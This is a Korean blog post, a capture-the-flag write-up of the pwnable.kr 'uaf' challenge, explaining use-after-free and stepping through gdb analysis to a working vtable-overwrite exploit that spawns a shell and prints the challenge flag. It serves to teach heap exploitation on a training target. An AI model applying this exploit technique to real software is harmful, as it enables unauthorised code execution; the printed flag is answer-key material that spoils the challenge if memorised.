본문 바로가기

CTF_Write_UP/pwnable.kr

pwnable.kr : uaf 풀이

시작

안녕하세요!!! :D

uaf를 이해했습니다!! 와!!!

바로 풀어볼까요?

root@goorm:/workspace/LCH_Server# ssh uaf@pwnable.kr -p2222

Write UP

코드를 보기 전에 uaf가 무엇인지에 대해 알아봅시다!

uaf (Use After Free) : 동적할당 된 Heap 영역을 free 후 재사용 할 때 생기는 취약점

malloc 함수에는 캐싱 기능이 있습니다.

그 중 Deferred Coalescing, 병합 지연 속성은 Heap 영역을 합치거나 쪼개는 시간을 절약하기 위해

freeheap을 남겨두었다가 사용 요청이 오면 그대로 쓰게 해줍니다.

간단한 코드를 짜서 확인해보겠습니다.

root@goorm:/workspace/LCH_Server# cat uaf.c
#include <stdio.h>
#include <stdlib.h>

int main() {

        int *num1;
        int *num2;

        num1 = malloc(20);

        printf("Input Num1 : ");
        scanf("%d", num1);

        printf("Num1 is in %p\n", num1);
        printf("Num1 is %d\n", *num1);

        free(num1);

        num2 = malloc(20);

        printf("Input Num2 : ");
        scanf("%d", num2);

        printf("Num2 is in %p\n", num2);
        printf("Num2 is %d\n", *num2);

        printf("Num1 is exploit!! -> %d\n", *num1);

        return 0;
}

저는 위와 같이 코드를 짰습니다.

num1을 동적할당 후 scanf()를 통해 입력받고 값 출력 후 free 했습니다.

마찬가지로 num2를 동적할당 후 scanf()를 통해 입력, 값 출력 후 free 했습니다.

그리고 이미 freenum1을 불러와서 값을 출력하네요.

실행해볼까요?

root@goorm:/workspace/LCH_Server# ./uaf
Input Num1 : 1234
Num1 is in 0xb2c010
Num1 is 1234
Input Num2 : 5678
Num2 is in 0xb2c010
Num2 is 5678
Num1 is exploit!! -> 5678

num1num2가 똑같은 주소에 할당된 것이 보이네요!!

num1을 불러왔지만 같은 공간에 할당된 num2에 의해 값이 바뀌었습니다.

이것이 바로 uaf 취약점입니다.

할당 → 해제 → 할당 → free된 객체 참조 순서로 이루어지죠.

 


 

문제로 돌아와보겠습니다!

uaf@ubuntu:~$ ls -l
total 24
-rw-r----- 1 root uaf_pwn    22 Sep 25  2015 flag
-r-xr-sr-x 1 root uaf_pwn 15463 Sep 25  2015 uaf
-rw-r--r-- 1 root root     1431 Sep 25  2015 uaf.cpp

C++로 짜여진 코드인가 봅니다.

어떻게 생겨먹었는지 한 번 보죠.

uaf@ubuntu:~$ cat uaf.cpp
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system("/bin/sh");
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){
                cout << "My name is " << name << endl;
                cout << "I am " << age << " years old" << endl;
        }
};

class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;

        while(1){
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}

크게 Human 클래스와 이를 상속받는 Man, Woman 클래스가 있네요.

main 함수에선 mw 객체를 할당받고 switch문을 통해 분기를 하고 있습니다.

보니깐 Human 클래스 안에 give_shell() 이란 부분이 있습니다.

어떻게 해서든 저 녀석을 끌어와야겠죠?

gdb로 열어봅시다.

C++ 특성 상 글자가 깨질 수 있는데, set print asm-demangle on을 넣어주시면 안깨집니다!!

gdb-peda$ set print asm-demangle on
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000400ec4 <+0>:     push   rbp
   0x0000000000400ec5 <+1>:     mov    rbp,rsp
   0x0000000000400ec8 <+4>:     push   r12
   0x0000000000400eca <+6>:     push   rbx
   0x0000000000400ecb <+7>:     sub    rsp,0x50
   0x0000000000400ecf <+11>:    mov    DWORD PTR [rbp-0x54],edi
   0x0000000000400ed2 <+14>:    mov    QWORD PTR [rbp-0x60],rsi
   0x0000000000400ed6 <+18>:    lea    rax,[rbp-0x12]
   0x0000000000400eda <+22>:    mov    rdi,rax
   0x0000000000400edd <+25>:    call   0x400d70 <std::allocator::allocator()@plt>
   0x0000000000400ee2 <+30>:    lea    rdx,[rbp-0x12]
   0x0000000000400ee6 <+34>:    lea    rax,[rbp-0x50]
   0x0000000000400eea <+38>:    mov    esi,0x4014f0
   0x0000000000400eef <+43>:    mov    rdi,rax
   0x0000000000400ef2 <+46>:    call   0x400d10 <std::basic_string<char, std::char_traits, std::allocator >::basic
_string(char const*, std::allocator const&)@plt>
   0x0000000000400ef7 <+51>:    lea    r12,[rbp-0x50]
   0x0000000000400efb <+55>:    mov    edi,0x18
   0x0000000000400f00 <+60>:    call   0x400d90 
   0x0000000000400f05 <+65>:    mov    rbx,rax
   0x0000000000400f08 <+68>:    mov    edx,0x19
   0x0000000000400f0d <+73>:    mov    rsi,r12
   0x0000000000400f10 <+76>:    mov    rdi,rbx
   0x0000000000400f13 <+79>:    call   0x401264 <Man::Man(std::string, int)>
   0x0000000000400f18 <+84>:    mov    QWORD PTR [rbp-0x38],rbx
   0x0000000000400f1c <+88>:    lea    rax,[rbp-0x50]
   0x0000000000400f20 <+92>:    mov    rdi,rax
   0x0000000000400f23 <+95>:    call   0x400d00 <std::basic_string<char, std::char_traits, std::allocator >::~basi
c_string()@plt>
   0x0000000000400f28 <+100>:   lea    rax,[rbp-0x12]
   0x0000000000400f2c <+104>:   mov    rdi,rax
   0x0000000000400f2f <+107>:   call   0x400d40 <std::allocator::~allocator()@plt>
   0x0000000000400f34 <+112>:   lea    rax,[rbp-0x11]
   0x0000000000400f38 <+116>:   mov    rdi,rax
   0x0000000000400f3b <+119>:   call   0x400d70 <std::allocator::allocator()@plt>
   0x0000000000400f40 <+124>:   lea    rdx,[rbp-0x11]
   0x0000000000400f44 <+128>:   lea    rax,[rbp-0x40]
   0x0000000000400f48 <+132>:   mov    esi,0x4014f5
   0x0000000000400f4d <+137>:   mov    rdi,rax
   0x0000000000400f50 <+140>:   call   0x400d10 <std::basic_string<char, std::char_traits, std::allocator >::basic
_string(char const*, std::allocator const&)@plt>
   0x0000000000400f55 <+145>:   lea    r12,[rbp-0x40]
   0x0000000000400f59 <+149>:   mov    edi,0x18
   0x0000000000400f5e <+154>:   call   0x400d90 
   0x0000000000400f63 <+159>:   mov    rbx,rax
   0x0000000000400f66 <+162>:   mov    edx,0x15

   0x0000000000400f6b <+167>:   mov    rsi,r12
   0x0000000000400f6e <+170>:   mov    rdi,rbx
   0x0000000000400f71 <+173>:   call   0x401308 <Woman::Woman(std::string, int)>
   0x0000000000400f76 <+178>:   mov    QWORD PTR [rbp-0x30],rbx
   0x0000000000400f7a <+182>:   lea    rax,[rbp-0x40]
   0x0000000000400f7e <+186>:   mov    rdi,rax
   0x0000000000400f81 <+189>:   call   0x400d00 <std::basic_string<char, std::char_traits, std::allocator >::~basi
c_string()@plt>
   0x0000000000400f86 <+194>:   lea    rax,[rbp-0x11]
   0x0000000000400f8a <+198>:   mov    rdi,rax
   0x0000000000400f8d <+201>:   call   0x400d40 <std::allocator::~allocator()@plt>
   0x0000000000400f92 <+206>:   mov    esi,0x4014fa
   0x0000000000400f97 <+211>:   mov    edi,0x602260
   0x0000000000400f9c <+216>:   call   0x400cf0 <std::basic_ostream<char, std::char_traits >& std::operator<< <std::char
_traits >(std::basic_ostream<char, std::char_traits >&, char const*)@plt>
   0x0000000000400fa1 <+221>:   lea    rax,[rbp-0x18]
   0x0000000000400fa5 <+225>:   mov    rsi,rax
   0x0000000000400fa8 <+228>:   mov    edi,0x6020e0
   0x0000000000400fad <+233>:   call   0x400dd0 >(unsigned int&)@plt>
   0x0000000000400fb2 <+238>:   mov    eax,DWORD PTR [rbp-0x18]
   0x0000000000400fb5 <+241>:   cmp    eax,0x2
   0x0000000000400fb8 <+244>:   je     0x401000 <main+316>
   0x0000000000400fba <+246>:   cmp    eax,0x3
   0x0000000000400fbd <+249>:   je     0x401076 <main+434>
   0x0000000000400fc3 <+255>:   cmp    eax,0x1
   0x0000000000400fc6 <+258>:   je     0x400fcd <main+265>
   0x0000000000400fc8 <+260>:   jmp    0x4010a9 <main+485>
   0x0000000000400fcd <+265>:   mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fd1 <+269>:   mov    rax,QWORD PTR [rax]
   0x0000000000400fd4 <+272>:   add    rax,0x8
   0x0000000000400fd8 <+276>:   mov    rdx,QWORD PTR [rax]
   0x0000000000400fdb <+279>:   mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fdf <+283>:   mov    rdi,rax
   0x0000000000400fe2 <+286>:   call   rdx
   0x0000000000400fe4 <+288>:   mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400fe8 <+292>:   mov    rax,QWORD PTR [rax]
   0x0000000000400feb <+295>:   add    rax,0x8
   0x0000000000400fef <+299>:   mov    rdx,QWORD PTR [rax]
   0x0000000000400ff2 <+302>:   mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400ff6 <+306>:   mov    rdi,rax
   0x0000000000400ff9 <+309>:   call   rdx
   0x0000000000400ffb <+311>:   jmp    0x4010a9 <main+485>
   0x0000000000401000 <+316>:   mov    rax,QWORD PTR [rbp-0x60]
   0x0000000000401004 <+320>:   add    rax,0x8
   0x0000000000401008 <+324>:   mov    rax,QWORD PTR [rax]
   0x000000000040100b <+327>:   mov    rdi,rax
   0x000000000040100e <+330>:   call   0x400d20 <atoi@plt>
   0x0000000000401013 <+335>:   cdqe
   0x0000000000401015 <+337>:   mov    QWORD PTR [rbp-0x28],rax
   0x0000000000401019 <+341>:   mov    rax,QWORD PTR [rbp-0x28]
   0x000000000040101d <+345>:   mov    rdi,rax
   0x0000000000401020 <+348>:   call   0x400c70 
   0x0000000000401025 <+353>:   mov    QWORD PTR [rbp-0x20],rax
   0x0000000000401029 <+357>:   mov    rax,QWORD PTR [rbp-0x60]

   0x0000000000401029 <+357>:   mov    rax,QWORD PTR [rbp-0x60]
   0x000000000040102d <+361>:   add    rax,0x10
   0x0000000000401031 <+365>:   mov    rax,QWORD PTR [rax]
   0x0000000000401034 <+368>:   mov    esi,0x0
   0x0000000000401039 <+373>:   mov    rdi,rax
   0x000000000040103c <+376>:   mov    eax,0x0
   0x0000000000401041 <+381>:   call   0x400dc0 <open@plt>
   0x0000000000401046 <+386>:   mov    rdx,QWORD PTR [rbp-0x28]
   0x000000000040104a <+390>:   mov    rcx,QWORD PTR [rbp-0x20]
   0x000000000040104e <+394>:   mov    rsi,rcx
   0x0000000000401051 <+397>:   mov    edi,eax
   0x0000000000401053 <+399>:   call   0x400ca0 <read@plt>
   0x0000000000401058 <+404>:   mov    esi,0x401513
   0x000000000040105d <+409>:   mov    edi,0x602260
   0x0000000000401062 <+414>:   call   0x400cf0 <std::basic_ostream<char, std::char_traits >& std::operator<< <std::char
_traits >(std::basic_ostream<char, std::char_traits >&, char const*)@plt>
   0x0000000000401067 <+419>:   mov    esi,0x400d60
   0x000000000040106c <+424>:   mov    rdi,rax
   0x000000000040106f <+427>:   call   0x400d50 <std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt>
   0x0000000000401074 <+432>:   jmp    0x4010a9 <main+485>
   0x0000000000401076 <+434>:   mov    rbx,QWORD PTR [rbp-0x38]
   0x000000000040107a <+438>:   test   rbx,rbx
   0x000000000040107d <+441>:   je     0x40108f <main+459>
   0x000000000040107f <+443>:   mov    rdi,rbx
   0x0000000000401082 <+446>:   call   0x40123a <Human::~Human()>
   0x0000000000401087 <+451>:   mov    rdi,rbx
   0x000000000040108a <+454>:   call   0x400c80 
   0x000000000040108f <+459>:   mov    rbx,QWORD PTR [rbp-0x30]
   0x0000000000401093 <+463>:   test   rbx,rbx
   0x0000000000401096 <+466>:   je     0x4010a8 <main+484>
   0x0000000000401098 <+468>:   mov    rdi,rbx
   0x000000000040109b <+471>:   call   0x40123a <Human::~Human()>
   0x00000000004010a0 <+476>:   mov    rdi,rbx
   0x00000000004010a3 <+479>:   call   0x400c80 
   0x00000000004010a8 <+484>:   nop
   0x00000000004010a9 <+485>:   jmp    0x400f92 <main+206>
   0x00000000004010ae <+490>:   mov    r12,rax
   0x00000000004010b1 <+493>:   mov    rdi,rbx
   0x00000000004010b4 <+496>:   call   0x400c80 
   0x00000000004010b9 <+501>:   mov    rbx,r12
   0x00000000004010bc <+504>:   jmp    0x4010c1 <main+509>
   0x00000000004010be <+506>:   mov    rbx,rax
   0x00000000004010c1 <+509>:   lea    rax,[rbp-0x50]
   0x00000000004010c5 <+513>:   mov    rdi,rax
   0x00000000004010c8 <+516>:   call   0x400d00 <std::basic_string<char, std::char_traits, std::allocator >::~basi
c_string()@plt>
   0x00000000004010cd <+521>:   jmp    0x4010d2 <main+526>
   0x00000000004010cf <+523>:   mov    rbx,rax
   0x00000000004010d2 <+526>:   lea    rax,[rbp-0x12]
   0x00000000004010d6 <+530>:   mov    rdi,rax
   0x00000000004010d9 <+533>:   call   0x400d40 <std::allocator::~allocator()@plt>
   0x00000000004010de <+538>:   mov    rax,rbx
   0x00000000004010e1 <+541>:   mov    rdi,rax
   0x00000000004010e4 <+544>:   call   0x400da0 <_Unwind_Resume@plt>

   0x00000000004010e9 <+549>:   mov    r12,rax
   0x00000000004010ec <+552>:   mov    rdi,rbx
   0x00000000004010ef <+555>:   call   0x400c80 
   0x00000000004010f4 <+560>:   mov    rbx,r12
   0x00000000004010f7 <+563>:   jmp    0x4010fc <main+568>
   0x00000000004010f9 <+565>:   mov    rbx,rax
   0x00000000004010fc <+568>:   lea    rax,[rbp-0x40]
   0x0000000000401100 <+572>:   mov    rdi,rax
   0x0000000000401103 <+575>:   call   0x400d00 <std::basic_string<char, std::char_traits, std::allocator >::~basi
c_string()@plt>
   0x0000000000401108 <+580>:   jmp    0x40110d <main+585>
   0x000000000040110a <+582>:   mov    rbx,rax
   0x000000000040110d <+585>:   lea    rax,[rbp-0x11]
   0x0000000000401111 <+589>:   mov    rdi,rax
   0x0000000000401114 <+592>:   call   0x400d40 <std::allocator::~allocator()@plt>
   0x0000000000401119 <+597>:   mov    rax,rbx
   0x000000000040111c <+600>:   mov    rdi,rax
   0x000000000040111f <+603>:   call   0x400da0 <_Unwind_Resume@plt>
End of assembler dump.

워.. 엄청 기네요..

먼저 switch문을 찾아봅시다.

   0x0000000000400fb2 <+238>:   mov    eax,DWORD PTR [rbp-0x18]
   0x0000000000400fb5 <+241>:   cmp    eax,0x2
   0x0000000000400fb8 <+244>:   je     0x401000 <main+316>
   0x0000000000400fba <+246>:   cmp    eax,0x3
   0x0000000000400fbd <+249>:   je     0x401076 <main+434>
   0x0000000000400fc3 <+255>:   cmp    eax,0x1
   0x0000000000400fc6 <+258>:   je     0x400fcd <main+265>
   0x0000000000400fc8 <+260>:   jmp    0x4010a9 <main+485>

eax가 1, 2, 3일 때 어디어디로 점프해라! 라는 내용이네요. 여기가 switch 입니다.

main+244, main+249, main+258 영역에서 각각의 분기문이 어디서 시작하는지도 보입니다.

break point를 잡아주면 되겠죠?

3번은 알아서 잘 될테니 1번과 2번의 시작점에만 걸겠습니다.

ASLR에 의해 프로그램을 돌릴 때마다 주소가 바뀝니다!! 흐름을 중점으로 보는게 이해가 편해요ㅠㅠ

gdb-peda$ b *main+316
Breakpoint 1 at 0x401000
gdb-peda$ b *main+265
Breakpoint 2 at 0x400fcd

달려보죠!

1을 입력해 1. use로 들어가보겠습니다.

1번 옵션은 mwintroduce()를 호출하는 부분입니다.

이 객체들은 Human에서 상속받은 것이기 때문에 give_shell()introduce()의 주소를 모두 가지고 있을 것입니다.

=> 0x400fcd <main+265>: mov    rax,QWORD PTR [rbp-0x38]
   0x400fd1 <main+269>: mov    rax,QWORD PTR [rax]
   0x400fd4 <main+272>: add    rax,0x8
   0x400fd8 <main+276>: mov    rdx,QWORD PTR [rax]
   0x400fdb <main+279>: mov    rax,QWORD PTR [rbp-0x38]

흐름을 보면 rax에 무언갈 계속 넣어주네요.

gdb-peda$ x/x $rbp-0x38
0x7fff1c1d9c78: 0x0000000001d5ac50
gdb-peda$ x/x 0x1d5ac50
0x1d5ac50:      0x0000000000401570
gdb-peda$ x/x 0x401570
0x401570 <_ZTV3Man+16>: 0x000000000040117a

gdb-peda$ x/10i 0x40117a
   0x40117a <Human::give_shell()>:      push   rbp
   0x40117b <Human::give_shell()+1>:    mov    rbp,rsp
   0x40117e <Human::give_shell()+4>:    sub    rsp,0x10
   0x401182 <Human::give_shell()+8>:    mov    QWORD PTR [rbp-0x8],rdi
   0x401186 <Human::give_shell()+12>:   mov    edi,0x4014a8
   0x40118b <Human::give_shell()+17>:   call   0x400cc0 <system@plt>
   0x401190 <Human::give_shell()+22>:   leave
   0x401191 <Human::give_shell()+23>:   ret
   0x401192 <Human::introduce()>:       push   rbp
   0x401193 <Human::introduce()+1>:     mov    rbp,rsp

rbp-0x380x1d5ac50 (이 부분은 실행 시마다 바뀝니다!) → 0x4015700x40117a (give_shell) 순서로 넘어갔습니다.

깔끔하게 give_shell()을 부르면 좋겠지만, main+272에서 add를 통해 0x8 값을 더합니다.

rax+0x8, 즉 0x401578은 보나마나 introduce()겠죠?

gdb-peda$ x/x $rax+0x8
0x401578 :   0x00000000004012d2
gdb-peda$ x/10i 0x4012d2
   0x4012d2 <Man::introduce()>: push   rbp
   0x4012d3 <Man::introduce()+1>:       mov    rbp,rsp
   0x4012d6 <Man::introduce()+4>:       sub    rsp,0x10
   0x4012da <Man::introduce()+8>:       mov    QWORD PTR [rbp-0x8],rdi
   0x4012de <Man::introduce()+12>:      mov    rax,QWORD PTR [rbp-0x8]
   0x4012e2 <Man::introduce()+16>:      mov    rdi,rax
   0x4012e5 <Man::introduce()+19>:      call   0x401192 <Human::introduce()>
   0x4012ea <Man::introduce()+24>:      mov    esi,0x4014cd
   0x4012ef <Man::introduce()+29>:      mov    edi,0x602260
   0x4012f4 <Man::introduce()+34>:
    call   0x400cf0 <std::basic_ostream<char, std::char_traits >& std::operator<< <std::char_traits >(std::basic_o
stream<char, std::char_traits >&, char const*)@plt>
  • rbp-0x38이 가지고 있는 값 : 0x1d5ac50

  • 0x1d5ac50 이 가지고 있는 값 : 0x401570

  • 0x401570 이 가지고 있는 값 : 0x40117a, give_shell()의 주소

  • rax에 실제로 들어가는 값 : 0x401570 + 0x8 = 0x401578

  • 0x401578 이 가지고 있는 값 : 0x4012d2, introduce()의 주소

우리가 0x1d5ac50에 접근하여 값을 덮어쓸 수 있다면 Exploit이 가능하겠네요.

덮어쓸 값은 0x401570에서 0x8을 뺀 0x401568이 되겠습니다.

이제 이 영역에 어떻게 접근해야 할 지 알아보겠습니다!

 


 

프로그램을 다시 돌려보겠습니다.

위에서 사용했던 0x1d5ac50 주소는 바뀝니다!!

이번엔 uaf.cpp 코드에서 봤던 것처럼 argv[1], argv[2] 에 값을 줄건데요.

/tmp/lch/AAAA라는 파일을 만들어 AAAA를 넣어주었습니다.

./uaf 4 /tmp/lch/AAAA 로 시작해보죠!

uaf 취약점은 할당된 공간을 free하는 것에서부터 시작하기 때문에 첫 번째로 3. free를 선택했습니다.

그 후 2. after를 선택해 AAAA를 동적할당 시킵니다.

메모리에서 어떤 일이 일어나는지 알아볼까요?

gdb-peda$ find "Jack"
Searching for 'Jack' in: None ranges
Found 3 results, display max 3 items:
   uaf : 0x4014f0 --> 0x6c694a006b63614a ('Jack')
   uaf : 0x6014f0 --> 0x6c694a006b63614a ('Jack')
[heap] : 0x19b3c38 --> 0x6b63614a ('Jack')
gdb-peda$ x/100wx 0x19b3c38
0x19b3c38:      0x6b63614a      0x00000000      0x00000000      0x00000000
0x19b3c48:      0x00000021      0x00000000      0x00000000      0x00000000
0x19b3c58:      0x00000019      0x00000000      0x019b3c38      0x00000000
0x19b3c68:      0x00000031      0x00000000      0x019b3c10      0x00000000
0x19b3c78:      0x00000004      0x00000000      0xffffffff      0x00000000
0x19b3c88:      0x6c6c694a      0x00000000      0x00000000      0x00000000
0x19b3c98:      0x00000021      0x00000000      0x41414141      0x00000000
0x19b3ca8:      0x00000015      0x00000000      0x019b3c88      0x00000000
0x19b3cb8:      0x00000411      0x00000000      0x75202e31      0x320a6573
0x19b3cc8:      0x6661202e      0x0a726574      0x66202e33      0x0a656572
0x19b3cd8:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3ce8:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3cf8:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d08:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d18:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d28:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d38:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d48:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d58:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d68:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d78:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d88:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d98:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3da8:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3db8:      0x00000000      0x00000000      0x00000000      0x00000000

Jack 문자열을 찾아봤더니 heap 영역의 0x19b3c38 위치에 있습니다.

이걸 기준으로 주변 레지스터를 확인해본 결과, 우리가 매개변수로 준 AAAA 값이

0x19b3ca0 주소에 들어가 있네요.

흠.. 더 올라가야 할텐데요..

0x19b3c50 주소에 덮어써야 하는데.. 할당을 한 번 더 해봐야 할 것 같습니다.

2. after를 한 번 더 눌러줍시다.

gdb-peda$ x/100wx 0x19b3c38
0x19b3c38:      0x6b63614a      0x00000000      0x00000000      0x00000000
0x19b3c48:      0x00000021      0x00000000      0x41414141      0x00000000
0x19b3c58:      0x00000019      0x00000000      0x019b3c38      0x00000000
0x19b3c68:      0x00000031      0x00000000      0x019b3c10      0x00000000
0x19b3c78:      0x00000004      0x00000000      0xffffffff      0x00000000
0x19b3c88:      0x6c6c694a      0x00000000      0x00000000      0x00000000
0x19b3c98:      0x00000021      0x00000000      0x41414141      0x00000000
0x19b3ca8:      0x00000015      0x00000000      0x019b3c88      0x00000000
0x19b3cb8:      0x00000411      0x00000000      0x75202e31      0x320a6573
0x19b3cc8:      0x6661202e      0x0a726574      0x66202e33      0x0a656572
0x19b3cd8:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3ce8:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3cf8:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d08:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d18:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d28:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d38:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d48:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d58:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d68:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d78:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d88:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3d98:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3da8:      0x00000000      0x00000000      0x00000000      0x00000000
0x19b3db8:      0x00000000      0x00000000      0x00000000      0x00000000

..!!! 0x19b3c50 자리에 AAAA가 들어갔습니다!!!

할당을 두 번 해주니깐 원하는 위치에 들어가는군요..

이제 우리는 저 주소에 위에서 찾았던 give_shell()을 가리키는 주소를 넣어줄 것입니다ㅎ

그 후 1. use로 들어가 free된 객체의 오염된 introduce()를 불러오면 Exploit 성공이겠네요.

정리해보겠습니다.

  1. introduce()를 불러내는 곳으로 들어가 give_shell()을 가리키는 주소를 찾았습니다. 0x401570

  2. rax + 0x8에 의해 1의 주소에서 8이 더해집니다.

  3. 1의 주소에서 8을 빼주면 rax + 0x8 연산 후에 give_shell()을 가리키겠죠? 0x401568

  4. freeAAAA라는 문자를 두 번 동적할당 했습니다. (한 번으로 안돼서 두 번 해본거죠!)

  5. 그랬더니 원래 0x401570이 있던 자리가 AAAA로 덮이는 것을 확인했습니다.

  6. AAAA 대신 3의 주소를 넣는다면.. Exploit!

uaf@ubuntu:~$ python -c 'print "\x68\x15\x40\x00"' > /tmp/lch/answer
uaf@ubuntu:~$ ./uaf 4 /tmp/lch/answer
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ ls -l
total 24
-rw-r----- 1 root uaf_pwn    22 Sep 25  2015 flag
-r-xr-sr-x 1 root uaf_pwn 15463 Sep 25  2015 uaf
-rw-r--r-- 1 root root     1431 Sep 25  2015 uaf.cpp
$ cat flag
yay_f1ag_aft3r_pwning

마무리

워.. 길었습니다..

스택과 비교하면 힙은 참 신세계네요.

이거 때문에 힙이 이중 연결 리스트로 구성되어 있다는 것.. 처음 알았습니다.

pwnable.kr 문제는 참 많은 것을 알려주네요ㅠㅠ 배울 것이 참 많습니다ㅠ

고생하셨습니다!! 다음 포스팅에서 뵙겠습니다 :D

'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] fsb  (0) 2019.06.26
[pwnable.kr] unexploitable  (0) 2019.06.20
pwnable.kr : lotto 풀이  (0) 2019.04.17
pwnable.kr : shellshock 풀이  (0) 2019.04.16
pwnable.kr : mistake 풀이  (0) 2019.04.16